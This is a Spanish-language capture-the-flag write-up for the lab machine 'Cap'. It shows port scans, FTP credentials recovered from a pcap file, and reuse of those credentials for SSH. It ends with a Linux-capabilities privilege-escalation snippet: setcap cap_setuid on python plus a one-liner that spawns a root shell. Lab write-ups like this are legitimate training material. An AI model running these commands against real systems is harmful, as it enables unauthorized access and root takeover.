Uno de las principales fases y importantes es la de reconocimiento una vez obtenida la direccion ip de la victima, para ello podemos usar diversas herramientas que permitan el escane de puertos que podemos encontra en internet, en lo personal usare la herramienta nmap.
Normalmente yo guardo en un archivo "allportsScan.nmap" las evidencias sobre los escaneos para volver a revisar si asi lo requiero en en futuro.
Sie7e>$ nmap -p- --open --min-rate 5000 -Pn -vvv <IP> -oG allportsScan.nmap
# Nmap 7.91 scan initiated Sun Aug 15 19:53:22 2021 as: nmap -p- --open --min-rate 5000 -Pn -vvv -oG allportsScan <IP>
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: cap.htb () Status: Up
Host: cap.htb () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Sun Aug 15 19:54:03 2021 -- 1 IP address (1 host up) scanned in 40.61 seconds
Vemos que tenemos 3 puertos abiertos
21 que es usado para el servicio
22 que se usa para el servicio de
80 que se usa para el servicio
una vez ya conocidos los púertos y los servicios vamos a ver a mas detalle cada servicio y sus caracteristicas.
Sie7e>$ nmap -p21,22,80 -sC -sS -vvv -oN servicesScan cap.htb
# Nmap 7.91 scan initiated Sun Aug 15 19:56:06 2021 as: nmap -p21,22,80 -sC -sS -vvv -oN servicesScan cap.htb
Nmap scan report for cap.htb
Host is up, received echo-reply ttl 63 (0.35s latency).
Scanned at 2021-08-15 19:56:06 EDT for 33s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2vrva1a+HtV5SnbxxtZSs+D8/EXPL2wiqOUG2ngq9zaPlF6cuLX3P2QYvGfh5bcAIVjIqNUmmc1eSHVxtbmNEQjyJdjZOP4i2IfX/RZUA18dWTfEWlNaoVDGBsc8zunvFk3nkyaynnXmlH7n3BLb1nRNyxtouW+q7VzhA6YK3ziOD6tXT7MMnDU7CfG1PfMqdU297OVP35BODg1gZawthjxMi5i5R1g3nyODudFoWaHu9GZ3D/dSQbMAxsly98L1Wr6YJ6M6xfqDurgOAl9i6TZ4zx93c/h1MO+mKH7EobPR/ZWrFGLeVFZbB6jYEflCty8W8Dwr7HOdF1gULr+Mj+BcykLlzPoEhD7YqjRBm8SHdicPP1huq+/3tN7Q/IOf68NNJDdeq6QuGKh1CKqloT/+QZzZcJRubxULUg8YLGsYUHd1umySv4cHHEXRl7vcZJst78eBqnYUtN3MweQr4ga1kQP4YZK5qUQCTPPmrKMa9NPh1sjHSdS8IwiH12V0=
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqG/RCH23t5Pr9sw6dCqvySMHEjxwCfMzBDypoNIMIa8iKYAe84s/X7vDbA9T/vtGDYzS+fw8I5MAGpX8deeKI=
| 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPbLTiQl+6W0EOi8vS+sByUiZdBsuz0v/7zITtSuaTFH
80/tcp open http syn-ack ttl 63
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Security Dashboard
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Aug 15 19:56:39 2021 -- 1 IP address (1 host up) scanned in 33.54 seconds
En principio no vemos nada raro, ni algo que nos llame la atención. vamos a revisar el sitio web:
En el sitio web observamos una ruta en la que podemos descargar algunos archivos: http://cap.htb/dat/0
vemos que podemos descargar archivos ".pcap", estos archivos son paquetes de red en las cuales se capturaron y muchas veces puden capturar informacion como usuarios y contraseñas.
WIRESHARK - FTP
vamos abrir el "0.pcap" con wireshark
Observamos que tenemos las un usuario una contraseña, y el servicio en las cuales se usaron es FTP por lo que vamos a probar a conectarnos por ftp
Sie7e>$ ftp cap.htb
Connected to cap.htb.
220 (vsFTPd 3.0.3)
Name (cap.htb:kali): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-------- 1 1001 1001 33 Oct 04 09:04 user.txt
226 Directory send OK.
Ingresamos con éxito, ahora enuramos un poco y nos encontramos con un archivo "user.txt" donde veremos la flag. Nos lo descargamos a nuestra equipo.
ftp> get user.txt
SERVICIO SSH - Escalar privilegios
¿Ahora? No sabemos por donde ir, pero tenemos credenciales las cuanles podemos probar en el servicio SSH y es posible que se esten reuzando las credenciales.
Sie7e>$ ssh nathan@cap.htb
nathan@cap.htb's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Oct 5 04:39:22 UTC 2021
System load: 0.0 Processes: 226
Usage of /: 37.1% of 8.73GB Users logged in: 0
Memory usage: 34% IPv4 address for eth0: cap.htb
Swap usage: 0%
=> There are 4 zombie processes.
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Oct 5 04:38:36 2021 from 10.10.16.4
nathan@cap:~$
Una vez ganado acceso a la maquina podemos enumerar para hacernos usuarios privilegiados, enumerando las siguientes cosas:
Archivos o binarios que podemos ejecutar.
Tareas que esta programadas en el sistema que se ejecutar cada determinado tiempo.
Listar los permisos que tenemos de los archivos /etc/passwd, /etc/shadow.
En fin hay una variedad de maneras de enumerar, incluso podemos a recurir a herramientas populares como LinEnum.sh que lo encuentras en github.
Capabilities
If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
Entonces lo que vamos hacer es seguir la guia(comando)